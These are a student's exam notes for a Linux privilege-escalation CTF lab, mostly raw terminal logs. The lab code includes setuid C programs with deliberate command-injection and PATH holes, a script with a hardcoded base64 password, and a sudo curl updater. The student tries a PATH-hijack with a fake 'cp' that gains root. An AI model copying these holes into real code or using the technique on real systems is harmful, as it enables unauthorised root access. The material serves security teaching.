Partiel S1 - Partie pratique

CTF 1

```
student@h309004a6b385 ~
$ ls
bin  src

student@h309004a6b385 ~
$ cd src

student@h309004a6b385 ~/src
$ ls
main.c

student@h309004a6b385 ~/src
$ cat main.c
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    setuid(0);
    printf("Copying all dev files to production folder\n");
    system("cp -R /root/dev/ /opt/prod/");
    printf("Copy done\n");
    return 0;
}
```

```
student@h309004a6b385 ~/src
$ cd ..

student@h309004a6b385 ~
$ cd bin

student@h309004a6b385 ~/bin
$ ls
main

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
Copy done

student@h309004a6b385 ~/bin
$ ls /opt/prod/
dev

student@h309004a6b385 ~/bin
$ ls /opt/prod/dev/

student@h309004a6b385 ~/bin
$ su
Password:
su: Authentication failure

student@h309004a6b385 ~/bin
$ echo $PATH
/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

student@h309004a6b385 ~/bin
$ vim cp

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
Copy done

student@h309004a6b385 ~/bin
$ cd .

student@h309004a6b385 ~/bin
$ cd ..

student@h309004a6b385 ~
$ ls
```

```
bin  src

student@h309004a6b385 ~
$ nano cp
bash: nano: command not found

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ls
bin  cp  src

student@h309004a6b385 ~
$ cat cp
#!/bin/bash

cat $2

cat $3

student@h309004a6b385 ~
$ export PATH=/home/student/cp

student@h309004a6b385 ~
$ cd bin

student@h309004a6b385 ~/bin
$ ls
bash: ls: command not found

student@h309004a6b385 ~/bin
$ ls
bash: ls: command not found

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
sh: 1: cp: not found
Copy done

student@h309004a6b385 ~/bin
$ export PATH=/home/student/cp:/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games=/home/student/cp

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
Copy done

student@h309004a6b385 ~/bin
$ echo $PATH
/home/student/cp:/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games=/home/student/cp

student@h309004a6b385 ~/bin
$ export PATH=/home/student/cp:/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games=/home/student/cp

student@h309004a6b385 ~/bin
$ chmod +x cp
chmod: cannot access 'cp': No such file or directory

student@h309004a6b385 ~/bin
$ cd ..

student@h309004a6b385 ~
$ ls
bin  cp  src

student@h309004a6b385 ~
$ chmod +x cp

student@h309004a6b385 ~
$ cd bin/

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
Copy done

student@h309004a6b385 ~/bin
```

~~~
$ cat ../src/main.c

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    setuid(0);
    printf("Copying all dev files to production folder\n");
    system("cp -R /root/dev/ /opt/prod/");
    printf("Copy done\n");
    return 0;
}
~~~

```
student@h309004a6b385 ~/bin
$ echo $PATH
/home/student/cp:/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games=/home/student/cp

student@h309004a6b385 ~/bin
$ export PATH=/home/student/:/home/student/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games=/home/student/cp

student@h309004a6b385 ~/bin
$ ./main
Copying all dev files to production folder
cat: /root/dev/: Is a directory
cat: /opt/prod/: Is a directory
Copy done

student@h309004a6b385 ~/bin
$ cd ..

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
dev
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
/home/student//cp: line 6: ls/root/dev/: No such file or directory
3
dev
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
/home/student//cp: line 6: ls/root/dev/: No such file or directory
3
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
3
Copy done
```

```
student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
3
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
3
Copy done

student@h309004a6b385 ~
$ ls /opt/prod/
dev

student@h309004a6b385 ~
$ cd /opt/prod/dev/

student@h309004a6b385 /opt/prod/dev
$ ls

student@h309004a6b385 /opt/prod/dev
$ vim cp

student@h309004a6b385 /opt/prod/dev
$ cd

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
3
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
2
3
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
Copy done

student@h309004a6b385 ~
$ vim cp

student@h309004a6b385 ~
$ ./bin/main
Copying all dev files to production folder
dev
Copy done

student@h309004a6b385 ~
root@h309004a6b385 ~
$
```

CTF 3

Penser à la commande `history`.

CTF 4

```
student@hd09e72e91493 ~
$ ls
bin  src

student@hd09e72e91493 ~
$ cd src

student@hd09e72e91493 ~/src
$ ls
main.c

student@hd09e72e91493 ~/src
$ cat main.c
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFFER_SIZE 1024

int main(int argc, char* argv[]) {
    char cmdBuffer[BUFFER_SIZE];

    if (argc !=2) {
        printf("Usage : %s <folder>\n", argv[0]);
        return 1;
    }

    setuid(0);
    snprintf(cmdBuffer, BUFFER_SIZE, "/usr/bin/stat %s", argv[1]);
    system(cmdBuffer);

    return 0;
}
```

```
student@hd09e72e91493 ~/src
$ cd ../bin

student@hd09e72e91493 ~/bin
$ ls
main

student@hd09e72e91493 ~/bin
$ ./main a aaaaaaaaaaaaa
Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ ./main a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ strings main.c
strings: 'main.c': No such file

student@hd09e72e91493 ~/bin
$ strings main
/lib64/ld-linux-x86-64.so.2
,IxT
setuid
system
__cxa_finalize
__libc_start_main
snprintf
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
```

```
[]A\A]A^A_
Usage : %s <folder>
/usr/bin/stat %s
;*3$
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@GLIBC_2.2.5
snprintf@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main

student@hd09e72e91493 ~/bin
$ ./main
Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ ./main  aaaaaaaaaaaa  aaaaaaaaaaaa
Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ ./main  aaaaaaaaaaaa
/usr/bin/stat: cannot statx 'aaaaaaaaaaaa': No such file or directory

student@hd09e72e91493 ~/bin
$ ./main /home/student/
  File: /home/student/
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 7000a9h/7340201d        Inode: 789770      Links: 1
Access: (0755/drwxr-xr-x)  Uid: ( 1001/ student)   Gid: ( 1001/ student)
Access: 2022-02-09 23:27:24.256248654 +0000
Modify: 2021-12-04 17:06:58.000000000 +0000
Change: 2022-02-09 23:27:24.256248654 +0000
 Birth: 2022-02-09 23:27:24.256248654 +0000

student@hd09e72e91493 ~/bin
$ ./main a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 a
Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ strings main.cstrings: 'main.c': No such file

student@hd09e72e91493 ~/bin$ strings ../src/main.c#include <stdlib.h>#include <stdio.h>#include <unistd.h>#define BUFFER_SIZE
1024int main(int argc, char* argv[]) {    char cmdBuffer[BUFFER_SIZE];    if (argc !=2) {        printf("Usage : %s <folder>\n",
argv[0]);        return 1;    }    setuid(0);    snprintf(cmdBuffer, BUFFER_SIZE, "/usr/bin/stat %s", argv[1]);
system(cmdBuffer);    return 0;

student@hd09e72e91493 ~/bin$ ./main a aUsage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main aaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaUsage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 aaaaaaaaaaaaaaaaaaaaaaa
Usage : ./main <folder>
```

```
student@hd09e72e91493 ~/bin
$ ./main
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 aaaaaaaaaaaaaaaaaaaaaaa
Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ strings ../src/main.c#include <stdlib.h>#include <stdio.h>#include <unistd.h>#define BUFFER_SIZE 1024int main(int argc, char*
argv[]) {    char cmdBuffer[BUFFER_SIZE];    if (argc !=2) {        printf("Usage : %s <folder>\n", argv[0]);        return 1;
}    setuid(0);    snprintf(cmdBuffer, BUFFER_SIZE, "/usr/bin/stat %s", argv[1]);    system(cmdBuffer);    return 0;

student@hd09e72e91493 ~/bin$ ./main a aUsage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main /home/student aUsage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main /home/student /home/student/Usage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main /home/student
/home/student/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Usage : ./main <folder>

student@hd09e72e91493 ~/bin
$ ./main /home/student /home/student Usage : ./main <folder>

student@hd09e72e91493 ~/bin$ ./main
/home/student/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ./main
/home/student/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 ^Caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

student@hd09e72e91493 ~/bin
$ cd

student@hd09e72e91493 ~
$ ls
bin  src

student@hd09e72e91493 ~
$ cat src/main.c
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define BUFFER_SIZE 1024

int main(int argc, char* argv[]) {
    char cmdBuffer[BUFFER_SIZE];

    if (argc !=2) {
        printf("Usage : %s <folder>\n", argv[0]);
        return 1;
    }

    setuid(0);
    snprintf(cmdBuffer, BUFFER_SIZE, "/usr/bin/stat %s", argv[1]);
    system(cmdBuffer);

    return 0;
}
```

CTF 5

```
student@haab2d67f6f61 ~
$ ls
bin

student@haab2d67f6f61 ~
$ cd bin

student@haab2d67f6f61 ~/bin
$ ls
subob.py

student@haab2d67f6f61 ~/bin
$ cat subob.py
```

```
#!/usr/bin/env python3

import os
import base64

password=base64.b64decode(b'Q0pDUHBlNVNuR0hSQjJiTTliQUpuWVcwQjA1dlhNZzY1UVI1MWhPalY=')

passwordRead=input("Enter the password: ")
passwordReadEncoded=passwordRead.encode('ASCII')

if password==passwordReadEncoded :
    print("Succeed")
    os.system("/bin/bash")
else:
    print("Fail")
```

```
student@haab2d67f6f61 ~/bin
$ echo -n "Q0pDUHBlNVNuR0hSQjJiTTliQUpuWVcwQjA1dlhNZzY1UVI1MWhPalY=" | base64 --decode

CJCPpe5SnGHRB2bM9bAJnYW0B05vXMg65QR51hOjVstudent@haab2d67f6f61 ~/bin
$ ./subob.py
Enter the password: CJCPpe5SnGHRB2bM9bAJnYW0B05vXMg65QR51hOjV
Succeed

student@haab2d67f6f61:~/bin$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 3 incorrect password attempts

student@haab2d67f6f61:~/bin$ cd /

student@haab2d67f6f61:/$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

student@haab2d67f6f61:/$ cd root
bash: cd: root: Permission denied

student@haab2d67f6f61:/$ cd

student@haab2d67f6f61:~$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~$ ls
bin

student@haab2d67f6f61:~$ cd bin

student@haab2d67f6f61:~/bin$ ls
subob.py

student@haab2d67f6f61:~/bin$ cd

student@haab2d67f6f61:~$ su
Password:
su: Authentication failure
```

```
student@haab2d67f6f61:~$ su
Password:
su: Authentication failure

student@haab2d67f6f61:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~$ sudo -s

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~$ cd bin/

student@haab2d67f6f61:~/bin$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~/bin$ ls /etc/
adduser.conf            cron.d          e2scrub.conf  gshadow-   issue.net      logcheck        mke2fs.conf    pam.d      rc1.d
rmt       subgid             sysctl.conf    xattr.conf
alternatives            cron.daily      environment   gss        kernel         login.defs      motd           passwd     rc2.d
security     subgid-         sysctl.d
apparmor.d              cron.weekly     fstab         host.conf  ld.so.cache    logrotate.d     mtab           passwd-    rc3.d
selinux      subuid          systemd
apt                     debconf.conf    gai.conf      hostname   ld.so.conf     machine-id      netconfig      profile    rc4.d
shadow       subuid-         terminfo
bash.bashrc             debian_version  groff         hosts      ld.so.conf.d   magic           nsswitch.conf  profile.d  rc5.d
shadow-   sudo.conf          timezone
bindresvport.blacklist  default         group         init.d     ldap           magic.mime      opt            python3    rc6.d
shells    sudo_logsrvd.conf  update-motd.d
ca-certificates         deluser.conf    group-        inputrc    libaudit.conf  manpath.config  os-release     python3.9  rcS.d
skel         sudoers         vim
ca-certificates.conf    dpkg            gshadow       issue      localtime      mime.types      pam.conf       rc0.d
resolv.conf  ssl       sudoers.d          wgetrc
```

```
student@haab2d67f6f61:~/bin$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

student@haab2d67f6f61:~/bin$ sudo !!
sudo cat /etc/sudoers

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
sudo: a password is required

student@haab2d67f6f61:~/bin$

student@haab2d67f6f61:~/bin$

student@haab2d67f6f61:~/bin$ su - root
Password:
su: Authentication failure

student@haab2d67f6f61:~/bin$ su - root
Password:
su: Authentication failure

student@haab2d67f6f61:~/bin$ ls /etc/sudoers.d
README  bob_sudo  student_sudo

student@haab2d67f6f61:~/bin$ cat /etc/sudoers.d/R
cat: /etc/sudoers.d/R: No such file or directory

student@haab2d67f6f61:~/bin$ cat /etc/sudoers.d/README
cat: /etc/sudoers.d/README: Permission denied

student@haab2d67f6f61:~/bin$ cat /etc/sudoers.d/bob_sudo
bob ALL=(ALL) NOPASSWD:ALL

student@haab2d67f6f61:~/bin$ cat /etc/sudoers.d/student_sudo
student ALL = (bob) NOPASSWD: /home/student/bin/subob.py

student@haab2d67f6f61:~/bin$ su - bob
Password:
su: Authentication failure

student@haab2d67f6f61:~/bin$ su - bob
Password:
su: Authentication failure

student@haab2d67f6f61:~/bin$ sudo -s

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt

student@haab2d67f6f61:~/bin$ ls
subob.py

student@haab2d67f6f61:~/bin$ ./subob.py
Enter the password: CJCPpe5SnGHRB2bM9bAJnYW0B05vXMg65QR51hOjV
Succeed

student@haab2d67f6f61:~/bin$ cd /root
bash: cd: /root: Permission denied

student@haab2d67f6f61:~/bin$ su -s bob
Password:
su: Authentication failure
```

```
student@haab2d67f6f61:~/bin$ ls /root
ls: cannot open directory '/root': Permission denied

student@haab2d67f6f61:~/bin$ cd ..

student@haab2d67f6f61:~$ vim test

student@haab2d67f6f61:~$ chmod +x test

student@haab2d67f6f61:~$ ./test
Password:
^[su: Authentication failure

student@haab2d67f6f61:~$ ^C

student@haab2d67f6f61:~$ vim test

student@haab2d67f6f61:~$ ./test
Password:
^[su: Authentication failure

student@haab2d67f6f61:~$ ^C

student@haab2d67f6f61:~$ vim test

student@haab2d67f6f61:~$ ./test

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 2 incorrect password attempts

student@haab2d67f6f61:~$ ls
bin  test

student@haab2d67f6f61:~$ cd bin

student@haab2d67f6f61:~/bin$ ls
subob.py

student@haab2d67f6f61:~/bin$ ./subob.py
Enter the password: CJCPpe5SnGHRB2bM9bAJnYW0B05vXMg65QR51hOjV
Succeed

student@haab2d67f6f61:~/bin$ nano subob.py
bash: nano: command not found

student@haab2d67f6f61:~/bin$ vim subob.py

student@haab2d67f6f61:~/bin$ ./test
bash: ./test: No such file or directory

student@haab2d67f6f61:~/bin$ cd ..

student@haab2d67f6f61:~$ cd ..

student@haab2d67f6f61:/home$ cd

student@haab2d67f6f61:~$ ls
bin  test

student@haab2d67f6f61:~$ ./test

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
```

```
[sudo] password for student:
sudo: a password is required

student@haab2d67f6f61:~$ vim test.c

student@haab2d67f6f61:~$ chmod +x test.c

student@haab2d67f6f61:~$ ./test.c

student@haab2d67f6f61:~$ history
    1  nano subob.py
    2  vim subob.py
    3  ./test
    4  cd ..
    5  cd
    6  ls
    7  ./test
    8  vim test.c
    9  chmod +x test.c
   10  ./test.c
   11  vim test.c
   12  ./test.c
   13  vim test.c
   14  ./test.c
   15  vim test.c
   16  ./test.c
   17  vim test.c
   18  cd /root
   19  history

student@haab2d67f6f61:~$ ls
bin  test  test.c

student@haab2d67f6f61:~$ id
uid=1001(student) gid=1001(student) groups=1001(student)

student@haab2d67f6f61:~$ vim

student@haab2d67f6f61:~$ cd bin

student@haab2d67f6f61:~/bin$ ls
subob.py

student@haab2d67f6f61:~/bin$ vim subob.py

student@haab2d67f6f61:~/bin$ sudo subob.py

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt
```

CTF 6

```
student@hbd5393ab9e33 ~
$ ls
bin  src
student@hbd5393ab9e33 ~
$ cd bin
student@hbd5393ab9e33 ~/bin
$ ls
main
student@hbd5393ab9e33 ~/bin
$ ./main
Duplicating staging files to production folder with symbolic link
Duplicating titi
Duplicating tata
Duplicating tutu
Duplicating toto
Duplication done
```

```
student@hbd5393ab9e33 ~/bin
$ ./main
Duplicating staging files to production folder with symbolic link
Duplicating titi
Duplicating tata
Duplicating tutu
Duplicating toto
Duplication done
student@hbd5393ab9e33 ~/bin
$ cd ../src
student@hbd5393ab9e33 ~/src
$ ls
main.c
student@hbd5393ab9e33 ~/src
$ cat main.c
```

```c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <dirent.h>

#define BUFFER_SIZE 1024

int main() {
    DIR *directory = NULL;
    struct dirent *file = NULL;
    char cmdBuffer[BUFFER_SIZE];

    setuid(0);
    printf("Duplicating staging files to production folder with symbolic link\n");

    system("/bin/rm /opt/prod/*");
    directory = opendir("/opt/staging");
    if (directory) {
        while ((file = readdir(directory)) != NULL) {
            if (file->d_type==DT_REG) {
                printf("Duplicating %s\n", file->d_name);
                snprintf(cmdBuffer, BUFFER_SIZE, "ln -s /opt/staging/%s /opt/prod/", file->d_name);
                system(cmdBuffer);
            }
        }
        closedir(directory);
    }

    printf("Duplication done\n");
    return 0;
}
```

```
student@hbd5393ab9e33 ~/src
$ ls
main.c
student@hbd5393ab9e33 ~/src
$ ls ../bin/
main
student@hbd5393ab9e33 ~/src
$ ls /opt/prod/
tata  titi  toto  tutu
student@hbd5393ab9e33 ~/src
$ cat tata
cat: tata: No such file or directory
student@hbd5393ab9e33 ~/src
$ ls /opt/prod/tata
/opt/prod/tata
student@hbd5393ab9e33 ~/src
$ cat /opt/prod/tata
student@hbd5393ab9e33 ~/src
$ cd /opt/prod/tata
bash: cd: /opt/prod/tata: Not a directory
student@hbd5393ab9e33 ~/src
$ stat /opt/prod/tata
  File: /opt/prod/tata -> /opt/staging/tata
  Size: 17              Blocks: 0          IO Block: 4096   symbolic link
Device: a000cch/10485964d       Inode: 797571      Links: 1
Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: ( 1001/ student)
Access: 2023-01-13 16:06:00.186891697 +0000
Modify: 2023-01-13 15:27:52.156562187 +0000
Change: 2023-01-13 15:27:52.156562187 +0000
 Birth: 2023-01-13 15:27:52.156562187 +0000
```

```
student@hbd5393ab9e33 ~/src
$ cat /opt/staging/tata
student@hbd5393ab9e33 ~/src
$ ls /opt/staging
tata  titi  toto  tutu
student@hbd5393ab9e33 ~/src
$ stat /opt/staging/tata
  File: /opt/staging/tata
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: a000cch/10485964d       Inode: 789606      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-02-09 23:10:04.000000000 +0000
Modify: 2022-02-09 23:10:04.000000000 +0000
Change: 2022-02-09 23:10:05.021571283 +0000
 Birth: 2022-02-09 23:10:05.021571283 +0000
student@hbd5393ab9e33 ~/src
$ vim /opt/staging/test
student@hbd5393ab9e33 ~/src
$ cat /opt/staging/test
cat: /opt/staging/test: No such file or directory
student@hbd5393ab9e33 ~/src
$ stat /opt/staging/test
stat: cannot statx '/opt/staging/test': No such file or directory
student@hbd5393ab9e33 ~/src
$ stat /opt/staging/
  File: /opt/staging/
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: a000cch/10485964d       Inode: 789605      Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-02-09 23:10:05.025571232 +0000
Modify: 2022-02-09 23:10:04.000000000 +0000
Change: 2022-02-09 23:10:05.021571283 +0000
 Birth: 2022-02-09 23:10:05.021571283 +0000
student@hbd5393ab9e33 ~/src
$ ls /etc/
adduser.conf            ca-certificates.conf  deluser.conf  group      hosts        ld.so.conf.d   machine-id      netconfig
passwd-    rc4.d        selinux  subgid-      timezone
alternatives            cron.d                dpkg          group-     init.d       ldap           magic           nsswitch.conf
profile    rc5.d        shadow   subuid       update-motd.d
apparmor.d              cron.daily            e2scrub.conf  gshadow    issue        libaudit.conf  magic.mime      opt
profile.d  rc6.d        shadow-  subuid-      vim
apt                     cron.weekly           environment   gshadow-   issue.net    localtime      manpath.config  os-release
rc0.d      rcS.d        shells   sysctl.conf  wgetrc
bash.bashrc             debconf.conf          fstab         gss        kernel       logcheck       mke2fs.conf     pam.conf
rc1.d      resolv.conf  skel     sysctl.d     xattr.conf
bindresvport.blacklist  debian_version        gai.conf      host.conf  ld.so.cache  login.defs     motd            pam.d
rc2.d      rmt          ssl      systemd
ca-certificates         default               groff         hostname   ld.so.conf   logrotate.d    mtab            passwd
rc3.d      security     subgid   terminfo
student@hbd5393ab9e33 ~/src
$ ls /etc/passd-
ls: cannot access '/etc/passd-': No such file or directory
student@hbd5393ab9e33 ~/src
$ cd
student@hbd5393ab9e33 ~
$ ls
bin  src
student@hbd5393ab9e33 ~
$
```

CTF 7

```
student@h11ea9fd1675b ~
$ ls
bin
student@h11ea9fd1675b ~
$ ls bin/
updateWwwIndex.sh
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh
Usage: ./bin/updateWwwIndex.sh URL

This script must be used to update the local webserver index.html page
You must specify an URL where to download the fresh content
It is downloaded and replaces the current index content
student@h11ea9fd1675b ~
$ cat /bin/updateWwwIndex.sh
cat: /bin/updateWwwIndex.sh: No such file or directory
```

```
student@h11ea9fd1675b ~
$ cat bin/updateWwwIndex.sh
#!/bin/bash

if [ $# -ne 1 ]
then
    echo "Usage: $0 URL"
    echo
    echo "This script must be used to update the local webserver index.html page"
    echo "You must specify an URL where to download the fresh content"
    echo "It is downloaded and replaces the current index content"
    exit 1
fi

# The /var/www/html/ directory is only writeable for the root user
# If the script is executed as standard user, sudo the script to execute it as root
if [ $(/usr/bin/id -u) -ne 0 ]
then
    sudo $0 "$@"
    exit $?
fi

URL=$1
/usr/bin/curl -o /var/www/html/index.html $URL
student@h11ea9fd1675b ~
$ sudo ./bin/updateWwwIndex.sh /home/student
curl: (3) URL using bad/illegal format or missing URL
student@h11ea9fd1675b ~
$ sudo ./bin/updateWwwIndex.sh home/student
curl: (6) Could not resolve host: home
student@h11ea9fd1675b ~
$ cd /
student@h11ea9fd1675b /
$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
student@h11ea9fd1675b /
$ sudo ./bin/updateWwwIndex.sh /home/student

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 1 incorrect password attempt
student@h11ea9fd1675b /
$ ls /var/www/html/
student@h11ea9fd1675b /
$ ls /var/www/html
student@h11ea9fd1675b /
$ sudo ./bin/updateWwwIndex.sh /home/student

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for student:
Sorry, try again.
[sudo] password for student:
Sorry, try again.
[sudo] password for student:
sudo: 2 incorrect password attempts
student@h11ea9fd1675b /
$ cd
student@h11ea9fd1675b ~
$ ls
bin
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh /bin/cat/
curl: (3) URL using bad/illegal format or missing URL
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh /bin/cat
```

```
curl: (3) URL using bad/illegal format or missing URL
student@h11ea9fd1675b ~
$ ./bin/updateWwwIndex.sh
Usage: ./bin/updateWwwIndex.sh URL

This script must be used to update the local webserver index.html page
You must specify an URL where to download the fresh content
It is downloaded and replaces the current index content
student@h11ea9fd1675b ~
$ strings bin/updateWwwIndex.sh
#!/bin/bash
if [ $# -ne 1 ]
then
    echo "Usage: $0 URL"
    echo
    echo "This script must be used to update the local webserver index.html page"
    echo "You must specify an URL where to download the fresh content"
    echo "It is downloaded and replaces the current index content"
    exit 1
